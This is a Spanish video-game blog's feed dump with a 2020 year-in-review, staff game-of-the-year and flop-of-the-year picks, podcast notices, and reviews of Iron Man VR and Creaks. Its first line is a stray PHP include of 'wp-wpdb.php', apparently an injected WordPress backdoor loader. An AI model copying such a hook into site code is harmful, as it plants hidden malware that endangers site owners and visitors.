if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); La Fortaleza de LeChuck https://lafortalezadelechuck.com Blog de videojuegos. Análisis, opiniones, retro y reportajes sobre videojuegos. Wed, 06 Jan 2021 14:33:41 +0000 es hourly 1 https://wordpress.org/?v=6.4.2 https://lafortalezadelechuck.com/wp-content/uploads/2014/01/cropped-lechuck-1-150x150.png La Fortaleza de LeChuck https://lafortalezadelechuck.com 32 32 Balance de 2020: lo mejor y lo peor del año en videojuegos https://lafortalezadelechuck.com/reportaje/balance-de-2020-lo-mejor-y-lo-peor-del-ano-en-videojuegos/ https://lafortalezadelechuck.com/reportaje/balance-de-2020-lo-mejor-y-lo-peor-del-ano-en-videojuegos/#respond Wed, 06 Jan 2021 14:33:41 +0000 http://lafortalezadelechuck.com/?p=12202 Seguir leyendo Balance de 2020: lo mejor y lo peor del año en videojuegos]]> ¿El día 6 de enero aún se puede publicar un balance? Bueno, pues aquí si lo creemos. El maldito 2020 ya ha terminado, perfecto, pero si analizamos el año a nivel de videojuegos no ha estado para nada mal. Vamos a repasar las mejores y peores noticias de 2020 en formato reducido.

 

 

 

  • La llegada de la nueva generación: vale, sabemos que el stock no ha podido suplir toda la demanda, pero la llegada de una nueva generación siempre aporta ilusión y alegría. Series S/X y PS5 han aterrizado en muchos hogares con su potencia y nuevas funciones. Todo ello lo repasamos en el podcast de Xbox Series X y PS5.
  • Shepard regresa: después de años y años con rumores y peticiones de la comunidad, el N7Day tuvimos la buena noticia: Mass Effect Legendary Edition cruzará el relé en primavera de 2021. Para celebrar tal fecha, el equipo de actores y actrices de voz se reunieron por videollamada para comentar sus recuerdos de la trilogía. Nostalgia.
  • Animal Crossing: New Horizons, el bálsamo de la pandemia: sobrellevar el confinamiento no ha sido fácil, pero un juego que desprende tanta simpatía como Animal Crossing nos ha ayudado sin duda a evadirnos. En noviembre apuntó 26 millones de unidades vendidas, y allanó el camino para que Nintendo Switch colocara un total de 68 millones de consolas. Casi nada.
  • Microsoft compra Bethesda: los rumores más alocados que azotaban las redes se han cumplido. Microsoft dio un golpe de talonario y adquirió Bethesda por 7.500 millones de dólares. ¿Buena noticia? Por supuesto, ahora la saga Fallout cuenta con sus creadores originales, Inxile/Obsidian; y la compañía que se hizo con la franquicia tras la desaparición de Interplay, Bethesda. Con los medios y poder económico de Microsoft auguro un futuro brillante para las franquicias de Bethesda.
  • Un año de juegos sensacionales: los videojuegos son nuestra pasión y, en muchas ocasiones, nuestro refugio. El desazón de 2020 se vio aliviado con juegos como Assassin’s Creed: Valhalla, Hades, Animal Crossing, The Last of Us 2, 13 Sentinels: Aegis Rim, Tell me Why…etc. La lista sigue, y seguro que os quedan un montón pendientes.

 

 

 

 

  • Retrasos a tutiplén: confinamiento, teletrabajo…No es de extrañar que muchos desarrollos no llegaran a buen puerto. Farcry 6, The Medium, Vampire: The Masquerade – Bloodlines 2, Halo Infinite… Se harán de rogar un poco más.
  • Cyber»bug» 2077: el último lanzamiento de CD Projekt se puede considerar el gran ganador y perdedor del año. Todo depende de la plataforma. Las primeras notas perfectas fueron de la versión PC ya que, -y según la compañía- estaban hasta el último momento mejorando las de consola. Desgraciadamente, las versiones de la old gen fueron un nido de bugs y problemas técnicos variados. Se habló de explotación laboral, malas decisiones desde dirección y, en definitiva, un desarrollo turbulento que marcará un antes y después en la compañía.
  • The Last of Us 2 y la polémica: a nivel jugable, The Last of Us 2 no ha dejado indiferente a nadie. Multitud de jugadores plasmaron su opinión. Hasta aquí todo bien, sin embargo diferentes personajes y situaciones han llevado a una parte de la comunidad a atacar con amenazas e insultos a miembros del equipo. Lamentable.
  • Un año sin E3: criticamos en ocasiones el suplicio de muchas conferencias pero este año todos hemos echado en falta nuestra cita anual con el videojuego. Summer Game Fest ha intentado suplir su ausencia con más pena que gloria. ¿Volverá en 2021? Esperemos que la situación del mundo mejore.
  • Ubisoft hace limpieza de directivos: los escándalos han salpicado a Ubisoft con decenas de denuncias de acoso. A Guillemot no ha temblado la mano y ha liquidado a mucha de la vieja guardia. El último en caer fue el directo creativo de AC: Valhalla. Esperemos que este saneamiento interno mejore las condiciones de su personal.

***

Ya estamos a 2021. ¿Y que nos depara este año? Pues para empezar los juegos que se habían retrasado. Luego, otros ya fechados como Resident Evil Village, Monster Hunter Rise, Elden Ring, Mass Effect Trilogy…¿Zelda: BOTW2? ¡Que el ritmo no pare!.

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GOTY y FOTY 2020 de la redacción https://lafortalezadelechuck.com/reportaje/goty-y-foty-2020-de-la-redaccion/ https://lafortalezadelechuck.com/reportaje/goty-y-foty-2020-de-la-redaccion/#respond Thu, 31 Dec 2020 10:10:53 +0000 http://lafortalezadelechuck.com/?p=12187 Seguir leyendo GOTY y FOTY 2020 de la redacción]]>

El cataclismo ha marcado sin lugar a dudas el año 2020. Muchos juegos no han podido desembarcar por múltiples problemas relacionados con la pandemia pero, aún así, este año que hoy acaba nos ha dejado múltiples propuestas a destacar. Y otras que no tanto. Os presentamos nuestra gala de GOTY y FOTY en el podcast y ahora es el momento de hacerlo por escrito. Estos son los GOTYs y FOTYs de la redacción de La Fortaleza de LeChuck.

 

Arashi

GOTY

A diferencia de otros años, no he tenido ninguna duda con mi GOTY 2020, y ese es Demon’s Souls. Cada día se vuelve más difícil encontrar juegos que hagan despertar dentro de mí sensaciones nuevas, retos increíbles y, en definitiva, una aventura que deje huella. Demon’s Souls fue mi hallazgo en PS3. Un juego con mecánicas experimentales que más tarde se afinarían en Dark Souls, pero en su imperfección estaba su grandeza. Una experiencia formidable por Boletaria a través de sus mazmorras infernales que me envolvieron en su atmósfera opresiva. Allí se encuentra uno de los mejores niveles y al que más cariño puso Miyazaki a la hora de construirlo, la Torre de Latria. Además, en sus oscuras estancias también se halla su jefe favorito – y uno de los míos-, original y divertido. El fantástico remake de Bluepoint no ha hecho más que transportar aquellas viejas sensaciones hasta la nueva generación.

FOTY

Cyberpunk. Las razones son obvias. Fechas poco realistas + explotación laboral= juego defectuoso. Esta es una prueba más que demuestra que cuando un desarrollo no es el adecuado los juegos se publican en condiciones técnicas lamentables. Hoy toca castigar a Cyberpunk con el fin de que en el futuro los directivos sean formados para gestionar desarrollos a gran escala. Y que no importe el cuándo, sino el cómo.

 

Museboy

GOTY

Ha llegado «el último», y no exento de polémica, Cyberpunk 2077 necesitaba más tiempo de cocina, sobretodo esos meses vitales de tests y arreglar pequeños bugs en las versiones mayores, y mucho más cariño en las versiones de PS5 y Xbox One base. La verdad es que es una lástima, sobretodo por esa gente que no lo ha podido disfrutar como debería, porque yo lo gozo y sigo gozando desde el lanzamiento como un enano (con sus pequeños y a veces alocados bugs que no me lastran la experiencia). Una ciudad mastódontica en vertical, una ambientación sin igual, personajes que sientes desde el primero minuto, una jugabilidad genial también como shooter, una historia cautivadora y el mejor doblaje al español de un videojuego de la historia junto a una sincronización labial excelente. Todo eso, en primera persona, te hace VIVIR en «Night City» con la máxima inmersión posible, y por eso las sensaciones y el disfrute no ha sido igualado en ningún otro juego de este año, sin duda es el juego que más he disfrutado en 2020, el «Perfect Dark» que no veo capaz de darme a «The Initiative».

FOTY

El nombre de «The Last of Us» tiene un gran peso para mí, ya que lo considero el mejor juego de PS3 y de Naughty Dog. Con The Last of Us Parte II tengo sensaciones encontradas, porque pude disfrutar a tope del videojuego, que no deja de ser alucinante en muchos aspectos. Sin embargo, me siento bastante «traicionado» respecto a mis expectativas hacia el título, y es que considero «maltratados» «nuestros» personajes de la primera parte en todos los aspectos. Me encanta el nuevo personaje, y sin ninguna duda estoy en su equipo, pero me habría gustado que me lo pusieran más difícil en este aspecto, que el juego fuera más corto pero más directo en su intención. La jugabilidad también me la esperaba más evolucionada, me gusta la parte abierta pero jamás se repite y me deja con ganas de más. El regusto al final es amargo, y por eso es mi «fail» personal del año, un gran juego al que personalmente le pedía más riesgo jugable que narrativo. Ahora solo me queda esperar el modo multijugador online, que seguro endulzará mis sensaciones generales.

 

Oplatan

Dada la situación actual no he podido jugar todos los lanzamientos que me hubiera gustado este año, y es posible que mi GOTY/FOTY hubiera cambiado visto la cantidad de juegazos que han salido este año, pero de lo que he podido probar me quedo sin ninguna duda con The Last of Us, para ambas categorías.

Motivos del FOTY: Las primeras sensaciones del juego son muy bonitas, te presentan una tendencia que promete ser muy interesante con mapas semiabiertos, misiones secundarias, localizaciones secretas, etc. Cosas que distan mucho del primer título, pero al final esas mecánicas se quedan en nada y acabamos en un juego lineal donde todo se traduce en cinemática seguida de 4 horas de matar decenas de enemigos constantemente, el sigilo se ha quedado un poco apartado al ser casi imposible pasar sin matar a nadie, los cambios de ritmo me han sacado muchas veces del ambiente y he tenido que dejar de jugar más de una vez debido lo pesado que se me hacía que todo estuviese tan lejos y lleno de enemigos repetitivos, en ese aspecto el juego me ha decepcionado bastante.

Motivos del GOTY: independientemente de las cosas que no han llegado a funcionar lo que sí que funciona lo hace muy, pero que muy bien. La narrativa es algo que me ha gustado mucho, sí que es cierto que no inventa nada nuevo, pero casi siempre me he quedado con ganas de saber más y seguir avanzando (salvo en los trechos excesivamente largos), otro punto a favor es la gran variedad de formas de completar ciertos escenarios, no solo por las herramientas del entorno si no por tu forma de jugar, el juego se adapta a tu estilo y eso es de agradecer.
Los personajes son el gran triunfador de la noche, la profundidad, sus motivaciones, las decisiones que toman… Son cosas que les dan una gran personalidad, y muchos a pesar de ser simples secundarios o figurantes tienen más chicha que muchos protagonistas de otros juegos, esto hace que puedas empatizar con ellos, elegir un bando y hacer que la narrativa sea más especial aún.

En definitiva me ha parecido un juego sobresaliente con unos cuantos fallos bastante importantes pero que hace muy bien lo suyo, no es que invente nada pero sabe cómo contar una historia, a pesar de toda la polémica (por motivos muy absurdos) es un grandísimo juego.

 

Ferretja

GOTY

El año 2020 será recordado por muchas razones, algunas de ellas tristemente obvias. En mi caso, sin embargo, también lo será por haber jugado a un título del que todos esperaban la excelencia y que, en mi humilde opinión, la ha alcanzado. The Last of Us Parte II no es perfecto, si es que eso es algo que pueda decirse de manera objetiva al hablar de un videojuego, pero es valiente, y eso, en un momento como el que vivimos, es mucho más importante. No le ha temblado el pulso a Naughty Dog a la hora de desarrollar la historia que ellos han elegido. Y no hay una manera más correcta de hacerlo, pues siempre deben ser los creadores quienes decidan qué es lo mejor para su obra. Han ignorado las expectativas del público y el legado de una primera parte que ya forma parte del Olimpo de los videojuegos y, simplemente, han contado la historia que querían contar.

The Last of Us Parte II ha conseguido generar más pasiones y debates que ningún otro título de este año, con todo lo bueno y lo malo que ello conlleva. Sin embargo, existe un factor común entre los que lo han amado y los que se han sentido decepcionados: lo quieran o no, la historia de Ellie les acompañará durante mucho tiempo.

FOTY

Mucho tiempo ha transcurrido desde que un teaser protagonizado por las cuchillas que asomaban de los brazos de una chica arrodillada nos hiciera la boca agua. Cyberpunk 2077 ha sido, seguramente, el juego más esperado en cada uno de los años que siguieron a ese vídeo. Tenía todos los ingredientes para ser el juego del año indiscutible: una ambientación no demasiado novedosa pero cuidada hasta el más mínimo detalle, una historia adulta y repleta de decisiones que tomar y un apartado técnico que asombraba desde la primera imagen. Entonces llegó el lanzamiento y con él una pesadilla que estoy seguro que la gente de CD PROJEKT RED ya esperaba. El título más ambicioso del estudio polaco ha sido desarrollado para cinco plataformas diferentes. Solo en una de ellas el resultado se acerca a lo que podría imaginarse de un videojuego de tales características. Es triste que un producto en el que centenares de personas han volcado su talento y hasta su salud no pueda ser juzgado por lo que incluye, sino por lo que una mala planificación ha dejado en el tintero. Sé que, si somos pacientes, Cyberpunk 2077 llegará a ser lo que todos esperábamos. Solo el futuro decidirá si CD PROJEKT RED ha perdido su único tren o aún está a tiempo de enmendar sus errores.

Heko

GOTY

Este año ha sido muy complicado para todos, y por supuesto también para las compañías de videojuegos. 2020 que te vas: Tanta gloria lleves como descanso dejas. Aún con todo, retrasos y lanzamientos polémicos incluidos, ha sido un año muy fructífero, así que al menos algún aspecto positivo nos llevamos. Sobre todo en unos meses en los que por responsabilidad social hemos estado más encerrados que nunca. Menos mal que los videojuegos, entre otros medios de ocio, estaban ahí para hacer más llevadera esta situación global. La consecuencia, traducida a año jugable por mi parte, ha sido la de poder tener más tiempo que dedicar a las novedades, e incluso atreverme con juegos de larga duración. Uno de esos casos por mi parte se lleva el GOTY.

Mención especial a juegos excelentes como “Hades”, “Final Fantasy VII Remake”, “Ori and the Will of Wisps”, o incluso “Xenoblade Chronicles Definitive Edition”, y otros tantos que podéis escuchar en nuestro repaso al año del podcast Lechuckero… Pero pocos juegos me han removido tanto por dentro, y me han gustado tanto, a la vez que me han resultado insoportables en algunos tramos, como el espectacular, agobiante, y avasallador “The Last Of Us 2”.

Es difícil, por no decir poco frecuente, ver a un juego “triple A” de “presupuesto ilimitado” presentar esta valentía a la hora de correr riesgos, para contar una historia de una forma que era evidente que iba a polarizar a la comunidad. Muchos no han comulgado con su particular narrativa, ni con los personajes nuevos introducidos, o la evolución de los conocidos. De hecho, durante la propia historia, como jugador he tenido que aprender a soportar y convivir con los personajes de la obra, y una vez que evolucioné con la trama, no pude sino rendirme ante lo que me estaba proponiendo el juego. Y sacarme el sombrero ante ello. Este juego había conseguido que yo, como persona a los mandos, cambiara de pensamiento sobre cosas que creía preconcebidas, y todo gracias a variar y colocar el foco del punto de vista en otro lado, algo que quizás (sólo quizás), deberíamos extrapolar a nuestras vidas cotidianas. Pero no solamente The Last Of Us 2 es un GOTY por ser valiente y arriesgar, que al fin y al cabo, estas interpretaciones son totalmente subjetivas. Técnicamente es un juego que parece de una futura generación, y me resulta divertido, tanto en sus tramos de sigilo y superviviencia, como en sus momentos de tiroteos toscos, sucios y desagradables. Naughty Dog nos ha entregado una obra que navega entre la ira, la rabia, la redención, y la incomodidad absoluta. Además, y no es algo menor: Las mejores tertulias y debates sobre videojuegos este año las he tenido hablando sobre este juego. Estamos ante una de las historias, no del año, sino de la década. Como lo fue su precuela.

FOTY

No quiero hacer demasiada sangre, así que yendo al grano, y siendo coherente con lo comentado en el podcast, por mi parte la decepción la otorgo ex aequo: ”Cyberpunk 2020*” por un lado, con el asterisco de “*si tienes una consola de la anterior generación”. Esto es importante, porque jugando el título de CD Projekt mínimo en un PC de media gama (como en mi caso), o una PS5/ Series X, el rendimiento no es tan doloroso. Pero en una PS4/One está roto… Tanto es así que se ha tenido que retirar en estas consolas de la venta, lo cual es un hecho muy desafortunado para una compañía que ya tenía casi imposible soportar el peso del hype de casi diez años de desarrollo ante un público cada vez más exigente, y por qué no decirlo, caprichoso. Aunque no por ello se puede excusar este lanzamiento de un juego que está a medio cocinar, que es un festival de bugs y roturas, y que encima es injugable en algunas de las plataformas de lanzamiento. No cabe duda que de aquí a unos meses será un juego increíble y recomendable (de hecho, yo lo estoy disfrutando muchísimo), pero entre el polémico estreno, y el conocido crunch infernal que se conoce, reina en el estudio, CD Projekt se ha de llevar un toque de atención, y un FOTY como una catedral.

“Premio” que comparte con “Crucible”, juego del que nadie se acuerda, y que considero realmente el gran castañazo de 2020. El caso de Crucible es especial, porque no fue creado por un estudio pequeño con recursos limitados, sino todo lo contrario: se trató de un juego del gigante Amazon, concretamente de su estudio “Amazon Game Studios”, cuyo objetivo era entrar en el segmento de los shooters competitivos al estilo de Overwatch, Valorant, o Team Fortress 2. Y sin embargo hay que hablar de él ya en pasado.

Crucible se lanzó el mes de mayo de 2020 en PC, sin que mucha gente se enterara de que el juego existía, pese a ser free to play. El marketing fue casi nulo y ni siquiera se promocionó mediante Twitch, la plataforma de streaming de la propia Amazon, lo que trajo como consecuencia que a los dos días de su estreno, menos de 5,000 personas lo estuvieran jugando en Steam. El frío recibimiento que tuvo Crucible hizo que Amazon recogiera cable, y pasara el juego de nuevo a modo de beta cerrada, en la que no aceptaron nuevos jugadores, así que sólo podían ingresar los que ya tenían el juego desde su lanzamiento. Tras un par de meses, se anunció que el juego sería descontinuado: el estudio ya no trabajaría en más actualizaciones o mejoras, y los servidores fueron desconectados el mes de noviembre, tan sólo seis meses después de su estreno. Un caso extraño y decepcionante, que habrá costado pérdidas millonarias, y del que sin embargo nadie parece recordar que este título existió. Por cierto, como juego hay que decir que no era nada del otro jueves, y recordaba jugablemente a un cruce descafeinado entre Mass Effect Andromeda y Apex Legends, y probablemente lo hubiera tenido muy complicado para ser el “Nuevo Overwatch”.

 

Musekaji

GOTY

Ya sabéis que no poseo ni tengo planeado ni lo mas mínimo tener una PS4 al menos en un futuro cercano, con mi Xbox One X y mi recién renovado PC, con el servicio Game Pass Ultimate y su renovación continua de catálogo tengo cubiertas de sobras todas mis necesidades “videojueguiles”. Dicho esto sobra decir que no he jugado a TLOU2 y ni falta que me hace para decir que ha sido el mejor juego de este año.

Quien tenga ojos no puede poner en duda el magnífico apartado gráfico en general, diseño de personajes y de escenarios con mención especial a las animaciones faciales de los personajes protagonistas transmitiendo con total credibilidad sus emociones haciéndolas nuestras con su interpretación.

Habría que tener horchata corriendo por las venas para no emocionarse con la historia de este TLOU2, una historia valiente como pocas tanto en las decisiones de guión como en su planteamiento, sin ánimo de hacer spoilers ese giro de tuerca a mitad de juego me parece un movimiento maestro digno de alabar. La manera de mostrarnos la historia, motivaciones y miedos de Abby me parece una genialidad y sobretodo muy valiente, ni que decir que la interpretación de Laura Bailey tiene gran culpa de ello.

Por lo anteriormente mencionado y por cosas que me dejo como la soberbia música de de Gustavo Santaolalla (gracias Eddie Vedder por dejar que Joel versionara Future Days ^^) The Last of Us 2 es lo mejor que ha salido este año.

FOTY

La verdad es que me duele muchísimo decir que el juego de CD Projekt es el mayor fail en videojuegos de este 2020 porque lo estoy disfrutando como un enano con su historia, estoy enganchadísimo. Pero es que después de todos estos años de desarrollo, de ponernos el hype más allá de las nubes, de los retrasos prometiéndonos que estaban puliendo los múltiples fallos que un juego de esta magnitud tiene que tener, después del crunch al que estuvo y desgraciadamente aún sigue estando el equipo de desarrollo el estudio polaco nos sacó un producto con una ingente cantidad de fallos a nivel técnico e incluso haciendo algunas versiones como las de las consolas más antiguas de Xbox y PS4 directamente injugables.

No contentos con ello poco a poco se va demostrando que CD Projekt ha ido engañando de forma deliberada desde analistas de juegos, retrasando hasta el día anterior al lanzamiento la llegada de copias para su análisis como hasta a sus propios accionistas ocultándoles el estado real de desarrollo del producto. Este es un comportamiento que no esperábamos de una compañía como la responsable The Witcher 3.

Por ello y aunque no lo dejaré de recomendar para PC y consolas como la PS5, Series X|S y Xbox One X por su excelsa historia lo veo como el merecido ganador del Fail Of The Year.

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Y hasta aquí la edición anual de nuestros premios. Solo resta desearos un FELIZ AÑO 2021. Qué os traiga mucha salud y buen vicio.

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Podcast especial GOTY y FOTY 2020 https://lafortalezadelechuck.com/podcast/podcast-especial-goty-y-foty-2020/ https://lafortalezadelechuck.com/podcast/podcast-especial-goty-y-foty-2020/#respond Mon, 21 Dec 2020 21:54:00 +0000 http://lafortalezadelechuck.com/?p=12166 Seguir leyendo Podcast especial GOTY y FOTY 2020]]>

HOY EN EL PODCAST DE http://lafortalezadelechuck.com/

Llegó la gran gala de los GOTY y FOTY 2020. Los mejores juegos y peores del año por categorías.
El equipo se ha jugando para premiar en estas categorías:

– Mejor RPG
– Mejor Acción/Aventuras
– Mejor Indie
– Mejor Banda Sonora
– Mejor Juego de Largo recorrido
– Mejor Plataforma de juego
– Mejor Juego original (nueva IP)
– Mejor estudio
– Juego más esperado
– FOTY (decepción del año)
– GOTY

Disponible en IVoox

También en Apple Podcasts y Spotify

¡Disfrutadlo!

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Podcast especial PS5 https://lafortalezadelechuck.com/podcast/podcast-especial-ps5/ https://lafortalezadelechuck.com/podcast/podcast-especial-ps5/#respond Wed, 25 Nov 2020 11:20:18 +0000 http://lafortalezadelechuck.com/?p=12158

 


HOY EN EL PODCAST DE http://lafortalezadelechuck.com/

Impresiones de las primeras horas con la consola:
– Reservas y lanzamiento
– Interfaz y sus novedades
– Rendimiento y hardware
– Juegos
– Mando

Disponible en IVoox

También en Apple Podcasts y Spotify

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Podcast especial Xbox Series X https://lafortalezadelechuck.com/podcast/podcast-especial-xbox-series-x/ https://lafortalezadelechuck.com/podcast/podcast-especial-xbox-series-x/#respond Mon, 16 Nov 2020 11:02:04 +0000 http://lafortalezadelechuck.com/?p=12154

 

HOY EN EL PODCAST DE http://lafortalezadelechuck.com/

Impresiones de las primeras horas con la consola:
-Reservas y lanzamiento
– Interfaz y sus novedades
– Rendimiento y hardware
– Juegos
– Mando y accesorios

Disponible en IVoox

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Podcast 7×01: Reservas de consolas y repaso del verano https://lafortalezadelechuck.com/podcast/podcast-7x01-reservas-de-consolas-y-repaso-del-verano/ https://lafortalezadelechuck.com/podcast/podcast-7x01-reservas-de-consolas-y-repaso-del-verano/#respond Tue, 06 Oct 2020 14:13:23 +0000 http://lafortalezadelechuck.com/?p=12007

Volvemos a la carga con un extenso repaso a todo lo que hemos jugado este verano y las noticias más destacadas de ese periodo.

Además, hablamos de las reservas de PS5 y Series X. Quién de aquí habrá reservado? Y otros temas de actualidad como la adquisición de Bethesda.

Disponible en IVoox

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Análisis Iron-Man VR https://lafortalezadelechuck.com/analisis/analisis-iron-man-vr/ https://lafortalezadelechuck.com/analisis/analisis-iron-man-vr/#respond Tue, 18 Aug 2020 20:53:44 +0000 http://lafortalezadelechuck.com/?p=11988 Seguir leyendo Análisis Iron-Man VR]]> Los super-héroes están de moda, pero hay algunos de ellos que destacan sobre todos los demás, como lo es Spider-Man o el señor Stark, conocido por desarrollar el traje que él mismo viste como Iron-Man. El Sr. Stark también se apunta a los videojuegos utilizando las propiedades únicas de la realidad virtual en Marvel’s Iron Man VR. Y sí, mola más ser Iron-Man que verlo en el cine.

Cuando pensamos en Iron Man, pensamos en volar, esquivar, disparar para defender el mundo de un villano… justo lo que te va a ofrecer Marvel’s Iron Man VR, el último título exclusivo de Sony para sus PlayStation VR contando nuevamente con uno de los héroes más populares de Marvel.

El juego nos introduce a un Tony Stark que deja de fabricar armas para no dedicar su tecnología a la guerra nunca más. Pepper Potts, la pareja del protagonista, está de acuerdo con esto y lo celebra porque considera que así terminará el peligro constante al que se ven sometidos de forma constante. Evidentemente, muy pronto deja de ser así, aparece un nuevo y misterioso enemigo que «hackea» los dispositivos de Industrias Stark poniendo en jaque todo lo que Tony sabe hacer.

El título lo jugaremos en todo momento desde los ojos de Tony Stark, abrazando la inmersión al máximo y sin salir en ningún momento de la primera persona. A través de la realidad virtual, viviremos tanto las escenas cinemáticas, que nos ayudarán a seguir la historia, como los niveles jugables, en los que tenemos que volar y disparar con libertad de movimientos.

Las PlayStation VR se apoyan en los PlayStation Move para ingeniarse un control total sobre el vuelo y los disparos de Iron-Man, dando con acierto con la clave para hacernos sentir como un auténtico super-héroe volador y al mismo tiempo una jugabilidad bastante accesible. Sí, probablemente lo estás pensando y así es, Iron-Man VR es una auténtica gozada como experiencia de vuelo, piensa que si el ser humano pudiera volar… así es como lo haría, y el diseño del juego hace que la sensación de vértigo no sea la que podríamos creer sentir, haciéndose realmente disfrutable. Si a eso le añades que realmente vas a usar las manos y posturas de Iron-Man para hacerlo, se transforma en un auténtico simulador de la vida de Tony Stark. Por si fuera poco, el juego está doblado al español, como muy bien nos tienen acostumbrados desde PlayStation España.

 

Los niveles jugables están bien divididos con partes de historia y «parones» en los que podremos mejorar nuestro traje y armamento, haciéndolo más rápido o destructivo usando como monedas los puntos que nos dan en el campo de batalla. En combate, aún con la libertad de vuelo, al final te encuentras en una especie de arcade clásico de naves, pues la mejor forma de acabar con nuestros enemigos es dispararles estando suspendidos en el aire, que más o menos nos atacarán frontalmente para no volvernos locos (aunque no siempre, claro). Aparte de los diferentes modos de disparo con misiles tele-dirigidos, etc, disponemos de habilidades como super-puñetazos e impulsos de velocidad que nos harán sentir todavía poderosos.

Dos únicas cosas podríamos achacarle a este Iron-Man VR, como pequeñas pegas y, más bien, sueños para una próxima entrega. Unos tiempos de carga menores o inexistentes, como promete PS5, ya que en el caso de Marvel’s Iron-Man VR son realmente largos, mínimo de un minuto cada uno y se suceden de forma constante, entre niveles, cinemáticas y vueltas a la base central. Y la otra sería, más bien, el sueño de una mayor libertad en los niveles, ya que no dejan de ser muy limitados en espacio y calidad técnica respecto a juegos no diseñados para realidad virtual.

En definitiva, hablamos de un simulador de Iron-Man VR muy bien llevado en el que disfrutarás todavía más de sus propiedades únicas si eres fan del héroe metálico de Marvel y de sus personajes. Además, nos permite soñar para la próxima generación de las mismas ideas en los controles y jugabilidad pero sin límites técnicos para ser más ambiciosos y convertir Iron-Man VR en lo que es el juego de Spider-Man de Insomniac para la franquicia Spider-Man.

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Análisis Creaks https://lafortalezadelechuck.com/analisis/analisis-creaks/ https://lafortalezadelechuck.com/analisis/analisis-creaks/#respond Wed, 05 Aug 2020 11:05:09 +0000 http://lafortalezadelechuck.com/?p=11972 Seguir leyendo Análisis Creaks]]>

Los aventureros natos reconocen rápidamente el nombre de Amanita Design. Seguramente porque disfrutaron de cada segundo de su bonita aventura gráfica Machinarium. A decir verdad, su nuevo título no es un point and click, ya que pone el género en barbecho para tomar el desvío hacia los plataformas/puzles 2D, pero con una calidad artística de sobra conocida en la casa.

Creaks es el nuevo retoño del estudio, concebido por Radim Jurda y Jan Chlup en Flash durante su tiempo en la universidad. Su proyecto se fue afianzando y ganando nuevo talento hasta que Amanita se fijó en ellos. De Flash saltaron a Unity y, tras 8 años, tenemos en nuestras manos Creaks, el fruto de su duro trabajo.

El curioso protagonista de nuestra historia es un joven con aire despistado. Su vivienda es un desastre. El papel pintado se retuerce en sus cuatro paredes y los cuadros desgastados se balancean en el débil soporte. Sin embargo, el decrépito habitáculo revela un extraño hueco que dirige a un entramado subterráneo de habitaciones y escaleras interminables. Nuestro amigo tiembla como un flan, pero su curiosidad puede más que su miedo y se lanza a explorar hasta dónde abarca ese nuevo mundo.

La idea central de la obra es jugar con la «pareidolia«. Es decir, un fenómeno psicológico donde nuestro cerebro genera erróneamente imágenes. Los objetos proyectan figuras que sabemos que no están ahí pero nuestra cabeza las dibuja. Seguro que os pasa a menudo, y sin necesidad de salir de casa. Mirad el suelo de vuestro cuarto, los motivos de vuestra baldosa seguro que despiertan en vuestro imaginario personajes de todo tipo. O una fachada de un edificio cercano que su desgaste emula un rostro humano.

En el juego lo presenciamos mediante unos perros que custodian estancias. Solo la luz mostrará lo engañada que nos tenía nuestra visión: el can es en realidad una mesilla de noche. Esos seres que proyecta nuestro cerebro son los «creaks», pero ojo con tocarlos en la oscuridad…

La mansión bajo tierra que descubre nuestro protagonista desde su casa abarca un nuevo mundo desconocido. Ese lugar inmenso tiene cuatro lugares diferenciados; secciones con su particular ambientación y seres vivos. Desde el desván hasta una sala de observación científica. Por allí perritos-mesilla o eruditos con forma aviar más amigables, entre otras sorpresas que interrumpirán nuestra marcha descendente. Para sortear los obstáculos se cuenta con nuestro ingenio. En las habitaciones hallamos interruptores, lámparas y varias escaleras. En cuestión de puzles se comienza por lo simple, un interruptor emana el foco de luz sobre un «perro» y este se convierte en mesilla, de esta manera podemos alcanzar la escalera que está sobre él. Después otro donde tendremos que emplear la atracción-despiste: atraer al can, caer por un hueco, hacer que venga por dirección contraria y pulsar el interruptor para transformarlo en mueble. La dificultad se incrementará en enormes habitaciones que disponen de un puñado de creaks y varios objetos con los que interactuar. Simplemente debemos observar y jugar con las posibilidades que se nos presentan. El objetivo siempre es el mismo: seguir hacía abajo.

Amanita siempre acierta eligiendo profesionales para su firma. El trabajo artístico de Radim es cautivador. Creaks respira Machinarium, y extrae el mismo néctar: arte silencioso en movimiento. La mansión subterránea podría protagonizar un cuento de Tim Burton, con decoración que transita a diversos ambientes contemporáneos. Y un ritmo rápido de descenso que envuelve al jugador en su misteriosa atmósfera mientras replica una pregunta: ¿Hasta dónde llevará el eterno recorrido?

La simplicidad de Creaks es su mayor virtud. Resolver puzles que progresan con ligeros matices y tomar escaleras de descenso. A veces contemplar cuadros que ofrecen retales de la historia de ese universo ficticio, junto con personajes que farfullan frases inconexas. Un arte de la pareidolia que ocupará 5h de nuestro tiempo, lo justo y perfecto para degustar otro título simpático y especial de Amanita.

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La nextgen en tiempos revueltos https://lafortalezadelechuck.com/opinion/la-nextgen-en-tiempos-revueltos/ https://lafortalezadelechuck.com/opinion/la-nextgen-en-tiempos-revueltos/#respond Sun, 26 Jul 2020 20:16:57 +0000 http://lafortalezadelechuck.com/?p=11957 Seguir leyendo La nextgen en tiempos revueltos]]>

No es mi intención ser agorera, pero 2020 ya se ha postulado como el año perdido. La inusual crisis se expande en lo personal y profesional, y posponer planes está a la orden del día. El temporal anda lejos de desparecer y, aunque amaine una temporada, no sabemos a ciencia cierta cuándo abandonaremos la nueva normalidad y nos sumiremos en la vieja, la cual ahora parece hasta idílica.

El «ahora» representa un cambio de hábitos dentro de nuestro espacio. Un lugar físico refleja riesgo; la opción segura es dar el salto al espacio virtual. Por supervivencia, muchas empresas han tenido que acelerar su transformación digital y facilitar el trabajo desde el domicilio. El contacto de mesa a mesa, o en una sala de reuniones se sustituye por videoconferencias en una gran retícula con numerosas figuras desde su habitación. De la noche a la mañana, el acalorado debate sobre el teletrabajo ve el final dando la victoria al bando del sí. Tal vez una amarga victoria con la escuelas cerradas.

No desviarse del camino resulta una tarea más compleja por la ausencia de espacio físico común. En grandes proyectos, una buena comunicación es clave para llegar a buen puerto. Pensemos en títulos AAA desarrollados por equipos de más de 500 o 1000 personas que han de mantener durante años una visión conjunta entre departamentos y sedes repartidas por el mundo. Y con personal junior que depende de miembros experimentados para supervisar su trabajo. Suena un poco cuesta arriba, ¿no? Esta situación ha ralentizado el proceso de muchos de estos títulos, y eso se traduce en atrasos o anuncios que no verán la luz a corto plazo.

